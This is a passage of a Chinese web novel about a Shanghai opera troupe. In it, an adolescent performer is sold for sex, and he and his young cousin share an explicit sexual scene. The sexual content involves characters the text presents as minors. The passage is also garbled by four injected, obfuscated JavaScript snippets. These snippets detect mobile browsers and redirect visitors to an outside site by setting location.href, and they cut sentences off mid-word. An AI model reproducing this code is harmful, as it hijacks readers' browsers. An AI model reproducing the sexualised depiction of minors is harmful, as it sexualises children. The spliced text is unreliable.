乔璃眉眼弯弯,笑容里漫出喜意:“就来呢。铭哥,之前给你的热敷包,用着可还好?你的腿疾是老毛病,里面的药也要合着季节调整,才能舒服。” 钟铭与两人年岁相差不多,之前一直是泰春班的“新星”小旦。因为今日不演主角,而要给周莲泱作配,一直心气不顺。可他正气呼呼的,被乔璃拿药包一卡,心里有再多的气,一时也发不出来了。 无他,这两年来,小到肠胃不适,大到风寒旧痛,眼下都是乔璃在管,省了戏班子一笔请大夫的银钱。 就钟铭这腿骨风湿的老毛病,一般大夫也看不明白。到了乔璃手里,一副药帖,半月一次的点穴,竟然真渐渐没那么疼了。 俗话说伸手还不打笑脸人。乔璃看病勤谨,脸上又总是笑笑的,像个观音座下的童子,原本戏班里有几个好欺负新人的老油条,因着她,看见处处不适应的周莲泱,也少有使绊子、背后说坏话的。 “再、再有一炷香,前头戏就演完了。”钟铭舌头磕巴了一下,到底年岁大,定定神,道,“今日可不少人是为你来的,懂么?不只是甬明商会那些人,还有……各路租界的大爷。” 周莲泱点点头:“我晓得,多谢铭哥。” “行了,不是我,东家也会提醒你。”钟铭嘴里嘟囔两句,“砰”一声关上门。他也满脸妆,一身叮叮当当的发冠首饰。化妆间里的是嘴利刻薄的钟铭,出去往前厅走,就摇身一变,摇曳生姿地化进戏中的角色。 周莲泱拿手轻轻点一点乔璃左颊陷进去的小酒窝,权当一吻:“囡儿起来,我得走了。” 后厅冷清,前面却热闹极了。 从正门入石库门里后是一天井,再后是一厅堂,天井中搭戏台,厅堂厢房重造作为看戏雅座。戏早已开场,两侧厢房坐满大半票友,有老茶楼客、甬明商会的,还有不少黄头发鹰钩鼻的外国人,带着女伴,大咧咧地坐在前面观戏。 第一场往往是武戏开场,调动气氛。按照戏曲演出的规矩,在开戏前场面上要先“打通”,靠得是锣、铙钹和堂鼓。 嗵嗵锵锵一阵热闹的“打通”后,就有一个武生翻上台,开始演《安天会》里的《偷桃》和《盗丹》。 这两折戏连演,讲得是孙悟空大闹天宫,偷蟠桃、盗金丹,径回花果山一事。 泰春班养得几个好武生,猴王唱昆腔,四大天王唱戈腔,嗓音嘹亮高亢,气足声纵,加上《安天会》取自《西游记》,情节通俗易懂,连半通不通的西洋人都听得连连点头[2]。 武戏并非今日的重点。锣鼓过后,便是箫笙。萧笙的调子一飘,台下老票友的神情便郑重期待起来。 泰春班本来就是新班子,时下流行的又是与昆腔戈腔殊异的京剧,能在美租界占一块地、兴兴胜胜地演起来,其中一半作用,要是泰春班新改、新排的昆曲折子。 有老票友评,泰春班新排曲目,老折如《西厢记》、《紫钗记》,《牡丹亭》等,情曲相合,艺绝凡辈——“转腔、换字之间别有一种声口,举目回头之际另是一副神情,意色眼目无不尽情刻画,背后必有深通文墨之人精心改戏[3]。” 这“深通文墨之人”,被泰春班班主遮遮掩掩,挑意惹兴,瞒了一年半载。多方打听下,票友才晓得,泰春班并非有意藏人,之前此人迟迟不现身影,是因他尚在少年声音变换末期,还是个黄口小儿罢了。 但这黄口小儿年少天才,又兼落难桐城贵族,身世凄苦复杂,这下可引爆了噱头。 几月之后,新排的《金雀记》初露口风,便得口耳宣传,泰春班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说来也奇怪,海市滩戏子中秀丽人物本来多有,却少见如他一般身段款款、将女子柔丽曼妙情态演得十分像的。 与之相较的巫彩凤,美则美矣,却失了一分弱不胜衣的情态,倒叫台下之人暗笑,这妾竟还不如正妻之美。调笑声传入耳里,气得钟铭心里翻江倒海,唱腔中都多了一丝咬牙切齿的意味。 《庵会》演完,后面的《乔醋》更是有趣,井文鸾捉着相公潘安仁诘问巫彩凤得定情金雀一事,潘安仁无法,只得长跪请命。 潘夫人佯作含酸,实则毫无醋意,并亦欲玉成之。此不过乔装以绐潘安仁耳,故剧名《乔醋》云。 “当年惜别,金雀轻分……相公你可取来,待我以绣线同心……” 乔璃在台下看着周莲泱。他眼睛生得美,灵得像是会说话,轻抛斜袖卸长肩,起身托住扮潘安仁的小生的手,缓缓下蹲,再起身,不失大家闺秀的雅致,又含吐一份别样的娇慵姿态。 戏曲本身并不能吸引她,哪怕折子里的字字句句都是她陪着他改过的。她不懂戏中人:若是真爱,又怎能容得下第三者,怎能“不醋”呢? 戏里讲的事,大概不过是三妻四妾的男子幻想出的无聊情/事罢了。 “钟铭还是沉不住气,差了一点,这名伎啊,都让他演成妒妇了。” 玉关柳手里托着茶盏,翘着莲花指,一边跟着哼,一边与同包厢里的熟客票友说笑。过了一会,眼波一转,抛向端茶倒水的乔璃:“小乔儿,你过来。” 她把一只白惨惨的指尖搭在乔璃手背,分明是笑着的,眼里却冒着一点寒气:“演了这半月,你表哥可出了名呢,登台半月,已有人专给他投笺,你现在可不愁没药吃了。” 乔璃也是笑着的,端庄清秀的小脸微微漾着一层淡淡的红晕,并不光艳照人,反而亲切可爱:“全靠柳姨抬举。” “是了,你一直唤我柳姨。也不知这之后,你还能不能叫得这么腻。”玉关柳拿团扇半遮了脸,垂睫,“小乔儿,有人豪掷千元给你表哥买了名,唤‘金腰雀’。如何,高兴不高兴?” “初/夜毕竟娇贵,人家愿意等,但也不能久等。你若明白,这几日就和我学学,帮他准备起来。我已许久没有调教年纪这么青的孩子了,下手没个轻重,弄伤他可不好。好歹娶妻,你作为妻子,也对他尽一份心意。” 戏台上张灯结彩的,将戏曲一幕幕映得通亮,四方包厢看台却黑蒙蒙的。 玉关柳若有似无的笑影也染着乌黑恶意,瞧着面前脸上血色渐渐褪去的少女,心想,这情比金坚,嘴皮子说来自然是好,若是要亲手将爱人送上他人之床,充作玩物,折了一身清骨…… 情比金坚,鸳鸯同心……又能怎么样呢? 14. 拾叁 鸳鸯交颈 周莲泱两日未有开嗓。 玉关柳没有逼他,应她那句,从不强逼人。 愿意在她手下当荤角的,谁不是个苦出身、家里没有三四桩凄惨事? 就拿钟铭来说,他打闹饥荒的北边来,流浪一路落下风湿腿,先要被卖去当太监,后又不知怎么知道泰春班荤角给的钱更多,便成了荤角。如今挣得一点钱,自己不够用,袄子穿烂了,也还要养着父兄一家子。 一时一刻的不愿意,是顶不住沉郁郁现实的重压的。 比玉关柳预料得还早,第三日,怀表刚过六点,周莲泱就把自己打理得清清爽爽,像是无事发生一样迎面一礼:“东家早。” 秋日渐渐厚起来,风里头的寒意一路凉进心里,显得穿着短衣单裤的少年有些身姿单薄。 玉关柳把眼盯了他一会,道:“你想明白就好。过来吧,我给你讲讲戏。今日讲玉堂春,讲一折苏三起解。” 周莲泱一愣。只要是爱戏的,就没有未听过苏三十大恨的,可要刚摸入戏曲一道的他唱《苏三起解》……这可是青衣中著名的好戏,便是浸淫此道数年的名伶,也不敢夸口能将苏三唱得有多精,始终谦逊打磨罢了。 女人知他心中所想,淡道:“你这年纪,唱苏三本是不合适的,只那买了你的票友独爱此折。倒也不用慌,能演出个二三分,糊弄过去那夜,也就得了。” 糊弄过去那夜……周莲泱本不知道怎么回事,玉关柳提一句,他才有些不敢置信的问:“那位……大人,是要我……” 玉关柳清眸一弯,手里的团扇转了转,点头道:“正是呢,他要你穿苏三起解上路的红罪衣,好好伺候他一晚。” 少年左手紧握右手,双颊微收,牙在嘴里紧紧咬着,神色说不清是嘲是怒。他自幼爱戏,《玉堂春》也听过不下五指之数,从唱词到唱腔,每个派系各有不同,但有一点是共同的,就是苏三的打扮——那一身血红血红的女罪衣[1]。 苏三本是娼寮女伎,自幼卖身,与公子王金龙有啮臂之盟[2],后被沈洪抢走赎身做小妾,受人诬告至死罪。苏三起解这一出长戏,演得就是苏三跪在满大街民众前,伸冤自白十大凄苦恨事的一幕。 苏三有凄厉的恨、六月飞雪的冤屈,象征哪怕出身卑贱,也依然有情有义、坚韧不屈的女性形象。十大恨唱完,座下没有不动情流泪的。 可买他的人要他穿这样一身血红的罪衣,唱完冤,便爬上床去、去伺候…… 所以此人怀得是怎样的心,由此可见一斑。 玉关柳晃一晃团扇,揽过少年绷紧的肩膀,轻轻劝:“小莲儿,人家呢,掷千金捧你出名,是瞧得起你。我们泰春班,不靠唱戏赚钱,可还没哪个新人承过这么大的面子呢,所以东家我呀,今日也不藏私,给你好好讲一讲。” 她擎着一个本子,缓缓翻开。周莲泱心中本来闷着,但她给他看的不是寻常剧本,而是自己整理的“活本子”。 “活本子”一般是戏曲伶人定唱词、改身段,记心得的“演出日记”,名角的“活本子”,往往浓缩不少唱得好的机密,轻易不予人看。 玉关柳在他面前翻这个加了硬皮壳的唱戏心得,就如同在一匹饿狼前晃动鲜肉,由不得他不全身贯注,仔细聆听。 学完戏折,玉关柳并没有放他走,而是让他继续吊嗓子、练苏三的身段与唱腔,从早忙到晚,只让他喝水,食青菜稀粥,再加一副清苦的膳汤,最后以药浴收尾。 周莲泱见过钟铭偷偷泡这种药浴,知道这是软茧子、嫩肤肉的汤药,而他喝的膳汤,同样是清肠胃,不让受用他们的大人“污了双眼”的特殊汤物。 他不由惨笑,笑自己都死到临头,才真正清楚地明白过来,将要迎接自己的,究竟是怎样的一种境况。 到了晚上,秋高气爽的天忽然下起雨来。檐下瓦上,还有那戏台藻井,雕花排窗,疾徐不定。周莲泱与乔璃的住处分在阁楼,冬冷夏热,只有秋天一段,温度尚还时宜。 他在一楼打水沐浴,绞发换衣,对镜子一笔一划描眉梳妆。被赠予“金腰雀”一名后,化妆的珠粉、涂眉的螺黛,各样装饰,全换成更好的用具。 玉关柳给他的一套女罪衣并非唱戏之用,料子更柔软、更华贵,也更贴身,仿佛是依着他的身量定做的。 与明镜相对,镜中显出一张苍白尖削的脸,乌发披散,眼珠清澈照人,看人时不自觉带几分凄楚哀怨,加上嘴唇没有一点血色,更叫人生出一点施/暴/残/虐之心。 周莲泱对着镜中倒影微微一笑,指点珠红,柔柔在唇珠一按,按出圆小的红痕。 他含着那一点玫红唇珠,披着苏三血红血红的罪衣,拾着一级一级台阶往阁楼走。到了两人的房间,脱下鞋,赤脚迈入房门,未发出一点声息。 雨下得越发凄凉起来,房中只点了两只烛,一切都影影绰绰、看不分明。 他的表妹蜷在床里,蹬开一点薄被,头挨在他的那边布枕,沉沉地睡着。周莲泱坐到床沿,手指虚虚抚在乔璃发顶。 他头发长得快,两年下来已及肩膀,当然还是比不上表妹从小养到大的长发。 乔璃的身体虚弱,长发却养得好,乌黑发亮,比苏缎还柔美。可惜往日有一段气血补不足的时期,她的发梢就发黄干枯,不得不修整剪掉。后面有人给他投笺,能用的钱慢慢多了,才把她的头发养回来。 思绪漫无边际地随雨声流转,手指顺过发梢,扯下两丝,他静默半刻,将那两根断发拢了,轻轻系在乔璃披散的发尾。 这样的触碰,乔璃不能不醒。她睁开眼,目光和周莲泱微微一碰,便是微惊。 他穿着一身红尽极妍的血衣,披着头发,影子藏在烛光里,露在外面的半张脸,露出一种比下珠玉的透彻的清润。 “囡儿。” 他低下头,乌发散下来,垂在乔璃面颊上方。他的唇微微扬着,眼里却没有笑,只有一种乔璃看不明晰的痛意。 “囡儿,你……”还染着草药味的指轻轻拂过她的脸,慢慢收回,摁在红罪衣的领口。也不知怎么一拨,衣领就缓缓滑落肩膀,显出玉琢一般的雪色削肩。 他的唇也挨过来,叹着,又像在笑:“我的第一次,合该是给你的。你要了我,别让人抢先,好不好?” “表哥。” 乔璃扑进他的怀里。两年过去,她也长高了,与他只差半个手掌。因为养得好,清瘦的筋骨也多了些圆润的肉,张开手,能将少年抱个满怀。 “我们走吧,表哥,我们走吧。”她急促地在他耳畔低喃,“我想起很多药方,病也快好了,可以当大夫,只要我们在一起努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615134|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就没事的,我没事的……” “傻,囡儿也说起傻话了。”周莲泱将一指轻轻抵住她的双唇,一手扣住她的腰,忽然垂头,用自己的唇替了指。 他托起她的脸,舌尖一寸一寸舐过她的唇缝,一点点抵进去,眼波流转,含着两抹若掩深爱的水意。 乔璃的手在他背后猛然收紧,他也心有默契地一侧身,旋转间,被少女按进床帐中央。 血衣被全部褪下,接着是绯红裙裾。他蜷了蜷长而直的两条腿,乔璃落了一眼,灯下,他的皮肤是晕着暖黄的透白,因为长久的唱与练,覆了一层薄实的肌肉。 她将一只手按上去,染着水汽的腰身微硬,又湿又冷,好瘦。 仔细瞧去,少年惨色的脸不知何时凝起两抹赤红,蔓至颈项,与身下落的血衣仿佛。 “囡儿……囡儿知道怎么做么?” 他的睫如蝶翼,颤个不停。 “柳姨教了我。”她说。再有,她对人体构造,好似也了如指掌。 她用黑色的大眼睛注视着一点一点敞开身体的他,头依偎过去,脸对着他的侧脸:“表哥,你会后悔吗?没有我的话,你至少不会被人羞辱。” 他的注意力本全放在贴按腹部的那只软韧的手,闻言倦眼半抬,刚想说话,肩头就被咬了一口。她咬得深,未出血,牙印红一块。 乔璃眼里闪着些周莲泱从未看过的神情,是既成之物与未成之物混杂的割裂,原始、模糊而晦涩。 “后悔也太迟了,表哥。”她吻住他的唇,不是吻,是噬咬。眼底泥泞乌黑,满溢的压抑的贪婪。“太迟了,周莲泱……太迟、太迟了。” 周莲泱喘息起来,一些难捱的、陌生而饱胀的感觉刺激身体的每一部分,激起多得令人难为情的生理反应。 他不明白,只是一个吻,只是被注视,只是一只放在腹部的手…… 乔璃伏在他身上,慢慢地吻他,一言不发,犹如巡视领地的母虎,一寸一许,不放过一点未探索过的地方。那是自信满满的巡视,她握住他的颈子,抬高,总是不让碰的喉结一览无余。 她把尖牙扣于其上,咬下去,身下渴求猎手的猎物身体一瞬僵硬,又强自放松。 他被困在少女与床褥之间,她的拇指按住牙印留下的圆圈,缓缓抚至胸口,向下拉出一条直线。 …… 一柱红烛泪将尽。 乔璃抱着他,良久。俯身过来,轻轻啄了一下周莲泱耳后一点赤红欲滴的小痣:“表哥,你第一次做梦,梦的是我吗?” 不等他开口,就自问自答:“想必是了。你那夜忽然叫我的名字,然后……嘻。就是那夜,对不对?” “不……我没……不是这样的!” 他急起来,满面泪淌,真如水中玉莲。 乔璃带着一身奇异香气,去拨弄他的发梢:“表哥,你梦到什么了?与我欢好?我不介意的。” 她的声音里只有好奇,周莲泱却气恼起来:“你怎能这么想我?你那时还未及笄!你,你!” “那表哥梦我,梦什么?” 乔璃如此执着不休,周莲泱无法,回身把她抱进怀里,头扣在自己胸口:“梦见……只是梦见你……你第一次吻我。” 那个染着泪意,无比温柔,却又重逾千钧的吻。 15. 拾肆 雨打新荷 半晌无话。 窗外还在下雨,雨点洒在石库门里弄堂,洒在老虎窗前。 从窗外望去,不像夜晚,也非白昼,灰冷的色调,就似永恒的寂静笼罩阁楼这一方狭小天地。 乔璃拿出一个小木匣,半个胳膊长,里面铺着红布,放着一根如意状的玉物事、两只小瓷罐,还有若干牵连着流苏的小金夹。 这就是玉关柳给她的“教器”了。 她将瓷罐打开,里面盛着雪白的猪油状膏体,另一罐是些散发草木清香的淡绿油膏,分别要用在不同地方。 周莲泱静静看着,看她挖出一团,在手心揉开,涂匀指尖。他躺下来,腰间垫起枕头,扫了一眼乔璃。 ------ 荷塘月色。 采莲人在一线莲泉中静静地就饮,与清泉肩并肩密密地挨着。从水岸看去,叶子底下是朵细白如珠玉一样的莲花。采莲人低头轻嗅莲香,花瓣柔软,还羞涩地打着朵儿。 叶子底下除了脉脉的流水,还有牛乳洗过一样的新藕。 藕节窄闭,被采荷人用水濯入。藕节风味的核心,被一点一滴品尝干净。 周莲泱的脸像抹了不匀的胭脂似的,从含了泪的眼圈儿一直烧到清凸的颧骨。 乔璃低下头,披在肩后的浓密乌发倾下几缕,散在他细白如珠玉的小腹,堆在一起。 她的发丝冰凉冰凉,手又滚热似烙铁。 周莲泱全部的神经与意志都集中在这两处,手死死攥着身下莲蓬回纹被单,攥得指节都酸楚了。 他使表妹做这样的事,偏偏打心里头漫涨出这样多——这样多的快意。 莲花与叶子有骤然的颤动,像闪电一般,霎时传过荷塘的那边去了。 “表哥,你笑一笑。” 采莲人低头采莲子,莲子清如水,莲瓣烧得更红了。 周莲泱觉得时间仿佛静止了,有震撼人心的烟花在眼前炸开了。 他仰起头,耳畔好像刮过大风,什么都听不到、什么也看不见,空气火烫,烧过喉管,吸进半口,还没透过气管,又被长长叹出来。 樱粉的花苞,小兽啜饮一次,犹觉不足,再吃,三次四次。 恐怖揉合在难忍的愿望里,他抬起手背挡住眼,一个劲淌眼泪。脸上烫,脖颈也打摆子似地颤起来。 乔璃又探身去吻他,他的头向旁偏了一偏,竟是因为太久未呼吸,眼前一片窒息前的白光。 荷塘连波,翻起清浪,浇上河岸。 “哥哥,爱哥哥……你转一转身。” 她竟然学来这样的话去哄他。 周莲泱的耳朵像是钻进一团火炭,双手捂住,却被一把抱在怀。 她亲他圆润的耳垂,亲他线条坚硬的下颌,就这么缠绞在一起,两条蛇一样。 周莲泱觉得身体像是被剃刀片狠狠刮了一下。真疼。 泪涌出来,他把手埋在胳臂里。那生疼生疼的痛不只是痛在身体上,更震进他的胸膛。 身体里多了什么,心里却落落地空下去,眼底也跟无底洞一样黑。 乔璃抚摸他的头发,指尖落在那处未完全祛掉疤痕的腰伤处。 她附身,吻落于那处伤疤,星星点点,如同柔软的月光,洒在他幼生白鹿一样的四肢上。 “哥哥……”她叹道,“哥哥今夜是我的了。” 周莲泱忍不住转过来。眼睛格外红,用手一揉,就和新下的桃儿似地肿起来:“……囡儿不会后悔吗?” “悔什么?” “悔……”他低头看一眼自己,失魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615135|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落魄,“悔做我这样的人的妻——我从此之后便是这样的人。” 乔璃静了一会儿,这段无话,让周莲泱后悔问出不能解的问题。 “……没有心的人活不长。”她闭起眼,再睁开,慢慢趴到他背上,脸贴着他的脸。“我以前没有心,表哥成了我的心。人怎么会后悔多了一颗心?” 他又开始淌眼泪了。乔璃拿指点了一点,放进嘴里。 雨止了么?还是更大了?荷塘被雨浇得一阵一阵泛起波澜,不曾止歇。 …… 第二日,天刚蒙蒙亮,周莲泱醒来,动一动,腰酸涩得紧,就像是有人打了他一顿。 “还痛吗?” 旁侧伸来一只手,让他侧身躺过去,按在穴位处,仔细按起来。 “昨日是我有些激动,不该做得那么久。” “不……”周莲泱脱口而出,“表妹很厉害。” 乔璃给他捏按腰部的手顿了顿,唇角绽开一丝笑意:“好。” 他才反应过来自己说了什么,脸一红,立刻烧到耳朵,想找个地洞把自己埋起来:“不是……我不是那个意思,嗯,也不是你不厉害,但是……” 少年抓住枕头盖在自己头上,眼睛一闭,扮鸵鸟。后面半天没有听到乔璃说话,忍不住揭开枕头。 微亮天光中,她披着发,脸颊散发出一股瓷器般的光晕,就这么温柔地看着他,眸子净澈如水,没有半丝波澜。 周莲泱心神恍惚,听她道:“表哥,还有一点早,继续睡吧。” 他依言抱住她。与其说是抱住她,不如是挨进她怀里。他心里闷闷的,又满满当当,心里搅着对未来的恐惧,又填饱切切念念的痴爱。 谁的心脏在扑通扑通跳,交织在一起,飘飘着远离了现实。 16. 拾伍 愁烟泣露 后院儿天井里,钟铭开罢嗓,正在照活本子练身段,一折未完,忽听前院人声嘈杂起来。 玉关柳标志性的和声慢语引在前头,往茶室里去了。 钟铭静静心,折身上阁楼去敲门。敲一阵,乔璃扎着一根松散的麻花辫,鬓发散乱,面色还很困倦,眼底已清明了:“铭哥。” “今日商行的人来,你要我唤你。喏,我唤了。”钟铭一手叉腰,一手松松点着下巴,卷翘的眼睫覆着水汪汪的眼,思量着,“好似还有一个红卷毛的洋鬼子。” 乔璃就一扬眉:“我知晓。多谢铭哥。” 她回屋汲水洗脸,拍去久睡大脑的昏胀。换一身见客的衣裙,挽一个最简单的髻,别一支花簪,便下楼去后厨。 后厨已备好泡茶的热水,乔璃一闻凤凰单枞那馥异的香气,便知今日来的不仅是甬明旧友,还有岭海的商人。 这些打风浪里来去、乘沙船采办的商人,身上多有海水带来的旧毛病。后厨文火煮的药包,便是乔璃昨夜就吩咐厨娘备的。 掐着点算,时间差不多,她添入两味药,余温闷住,放进托盘中,端去茶室。 茶室里水烟轻袅,满是人声笑语。乔璃敲门,便听玉关柳笑着让她进来。房间装饰得极为老派,用得都是上好实木打造的老家具。只见左首上桌坐了个五十多岁的老翁,装扮只是朴素的长袍马褂,手里捏着一支陈旧的鼻烟壶,但一身气度却极大方,一望即非常人。 玉关柳与严树明一左一右坐在两侧,另外还有六人,除一个红发碧眼的人外,剩下都是至少有一面之缘的商人。 首座的老头一望是她,便笑道:“好、好,方才还谈到小乔儿。你那治风湿的药包喝着极好,这哥儿俩,今日来有一半是向你讨要的,是不是?” 坐在下首的有两个稍年青一些的,正是打五桂来的茶叶买办黎鸿博、黎鸿学兄弟,两人不仅在茶叶生意上多有投资,在沿江口岸还有诸多地产。严树明手下的沙船货运,与这两兄弟也有紧密的联系。 乔璃脆道了两声好,将银壶中的药茶倾入盖碗,先端给黎氏兄弟:“黎伯伯喝着好,晚辈心里真是高兴呢。江上水冷风急,我心里总记着快要入冬,又将方子改了一改,誊抄成帖,请您看呢。” 随着盖碗递过去的,还有一纸药方。黎鸿博接了,裁下的宣纸上是几行清新飘逸的簪花小楷,还未细看,就觉得一股灵秀之气扑面而来。 乔璃又从另一只银壶中倒出深红茶浆,奉给上首老人:“给孟爷爷的,便多加了些糖,不减药性。” 那老头儿哈哈一笑,端起盖碗呷了一口,药茶苦涩果然被某种果甜盖过:“严家老大,你打哪儿找来这么一位灵秀人物。” 严树明笑道:“内子就如那守株的老农,全靠兔子自己撞上来罢了!” 乔璃给另外几位客人倒茶的功夫,红发洋人眼珠转一圈,叽里咕噜说一串洋文,除上首的老人时不时颔首外,一一答应下来的,竟然是玉关柳。 女人将英语说得极熟练流利,且毫无口音,不紧不慢的话语,说着说着,两人俱是哈哈大笑。 红发洋人将好奇的目光朝乔璃投来,玉关柳便挥挥手:“小乔儿,我让你备的……咖啡奶茶,可得了?” 红发洋人身旁的年轻人一怔。她是孟姓老者的大孙女儿,名叫孟彩霞,自幼读书,上得教会学堂,自然知道咖啡是什么。 咖啡么,是几十年前的英吉利人首先带入的,可味道苦涩奇怪,并不能与茶相比。爱喝之人大多是洋籍水手,喝来聊解乡愁,一般国人,却是不甚解的。 严家备了咖啡已让她吃了一惊,交个眼前的小姑娘烹煮,就更令人好奇。 只见她掀开一个铝罩子,下面便露出一把怪模怪样、看着颇似什么化学课玻璃杯量器一类,上下分层的大壶。 这壶一出现,那洋人就“忽”一下站起身来了,双手压扣檀木桌,腮帮子一鼓一鼓,眼中若有泪:“赛风,赛风[1]!” 他这么激动,玉关柳和孟彩霞赶紧安慰他。说来也巧,这人是英吉利的爵士詹姆士·凯恩,在租界也颇有势力,可惜因为种种事宜一而再、再而三错过归国时机,三四年都未曾回家探亲。 来自家乡的咖啡豆、虹吸咖啡壶,勾起的不仅是乡愁,还有对家乡饮食的渴望。 但詹姆士自己,是不会烹煮咖啡,从来都是家中爱好新奇物事的太太操作。放在眼前的异国少女手里,便更让人担忧——做得不对味,反而败兴。 好几个人若有实质的目光下,乔璃还是笑眯眯的,两颊挂着讨喜的笑涡,手下不停,把磨好的咖啡粉与净水分置两层,下壶置于卤素灯上。 水从常温到沸腾,从下壶吸入上壶,水不停旋转,冲煮粉末。乔璃心算计时,迅速关火,水内旋转不停,转出细润的圆丘。 咖啡倾倒而出,乔璃又适时往他的咖啡里加入大量奶油与砂糖——外国人的口味嘛,自然是什么东西都越甜越好。 詹姆士不顾热烫,轻吹饮入,登时长长出了一口气:咖啡豆相比家乡,是不怎么太新鲜的,可已是国内能找到的极限,冲煮得当,苦下也有丝丝花果风味与甘甜。 洋人深眼窝里的一双大眼眯了起来,室内气氛也随即一松,严树明笑着挥手:“小乔儿,快把剩下的分分,让我们也尝个新鲜。” 乔璃也弯眸微笑:“那我就献个丑,做一份‘鸳鸯奶茶’。” 奶茶顾名思义,是加了奶的茶汤,英吉利的人偏好这一口。但鸳鸯奶茶又是怎么做?孟彩霞还沉浸在虹吸壶之有趣的心思,倏忽一转,转到奶茶上头。 乔璃便捧出焗过的斯里兰卡红茶,撞入鲜牛乳,又按照比例加入三分咖啡并浓厚炼乳,一杯一杯分过,笑道:“咖啡三分,茶七分,这边是‘苦味鸳鸯’了。” 咖啡和焗过的红茶俱有苦味,被牛乳与炼乳自带的糖鲜那么一搅,成为一种恰到好处的平衡,便是平日讨厌苦味的詹姆士,也不由拍起巴掌,连赞“delicious”。 严树明一直注意着上首孟姓老者的神情,见他转来的眼里不仅有笑、还有三分肯定,一直提着的心便落回肚子。 孟姓老者不是别人,却是甬明商会的领头人之一、海市通商银行的创办者孟厚信,名头响当当的巨富儒商。孟厚信不仅巨富,且心怀扶掖同乡、促进公学的心胸情怀,早年严树明也承过他的人情提携,后一直在江浙为他办事。 如今家业搬至海市,严家便真正置身风云中心,今日讨好詹姆士,也是因他在英租界的能为权力。 得到詹姆士的认可,从前与霓国人几桩难堪首尾导致的商路不顺,恐怕能好上许多。 詹姆士喝完笑完,便正经与孟厚信谈起生意。孟彩霞被爷爷带出来见世面,兼充当关税与商品的翻译人,谁知她要做的工作,全被玉关柳代替了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615136|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她怔怔听了一会儿,光看对方如何长袖善舞,不紧不慢将生意一桩桩铺陈下去,终于反应过来——原来严家这桩桩件件活计,其实居中决策的并非严树明,而是玉关柳才对。 泰春班能在美租界安身,除了爷爷与其他甬明商友相帮,恐怕玉关柳从前结识的洋人势力,也出力不少。 孟彩霞原来不知个中底细,听言到此,才心中明了:所以这儿不仅是一处寻常消闲的茶园戏班,有擅通外语人情的玉关柳在,更是甬明帮会的活动与接待场所。 但——今日若无那少女演得一桩巧戏,怕是无法将这洋伯爵哄得这么开心好说话。 她望向那个静静收拾茶饮器具的少女——自己曾被誉过“大气稳重”,然而在相同年龄,是决没有少女这么沉静谨慎的。她帮了大忙,面无浮夸,也不讨巧,拾掇好了,便掩门退下。 怪不得玉关柳要她帮忙看一看,有没有合适这孩子的女学。这固然是玉关柳与孟家拉近关系的请托,可未尝不是一种惜才…… …… 等茶室里的人议完事,送人离去,天已暗了。 箫笙漫开,后院练唱之音慢慢厚起。乔璃闭起双眼,身子倚在阁楼窗畔,壶中给自己煮的药汤已经微凉,入喉黏苦,个中滋味,不必多言。 ——身子还是虚么? 似乎有一双柔软冰凉的手贴在她额上,旋即掠过鬓发,将发丝拨向耳后。 脂粉香浸入鼻间,深深呼吸,吐气,沉下心,又能嗅到一丝恍若不存的墨香…… 她唇角微微一扬,往前轻靠,靠入一方柔软。 手背点了两点烫伤的红痕,发髻有些散乱。她自己一个人扎,总是扎得松松的,做半天事,发尾全都塌下来。如果没有周莲泱帮她,她连头发都扎不好。 咳疾已许久未犯,但她一日有大半日需要休息。补身子的药一直没断过,甚至越补越多。 这如无底洞一般的怪病,吞食补药,吞食金银,总是不好。这混乱不堪的记忆,东一榔头西一棒子,从中攫取一点无足轻重的知识,好歹不让自己显得那么没用。 戏声一亮,咿咿呀呀的唱音飘响在天井之中。 瓦蓝的夜,星子,黑瓦,血红戏服,曼声吟唱的伎子。 表哥在做什么呢?其实她心里清楚。两人一日未见,他是在躲着自己。今夜,此时,他是否已披上苏三血红血红的罪衣,为了她,去……出卖自己? 蓦地,乔璃想起一曲江南小令,幽怨缠绵,交泣低诉…… 酒罢已倾颓,秋水长天折翼飞。莫道风波栖未稳,停杯、云起江湖一雁咴。 相望已相违,短笛无腔信口吹。若到淮边惊夜冷,披衣、与谁相伴与谁归[2]? 这诗词歌赋,她过目不忘,个中真意,却从不了解。 乔璃伏在周莲泱的中衣间,蜷起的手攥着袖摆。她并没有落泪,甚至表情也未怎么变,只是陷在他的衣服里,良久良久。 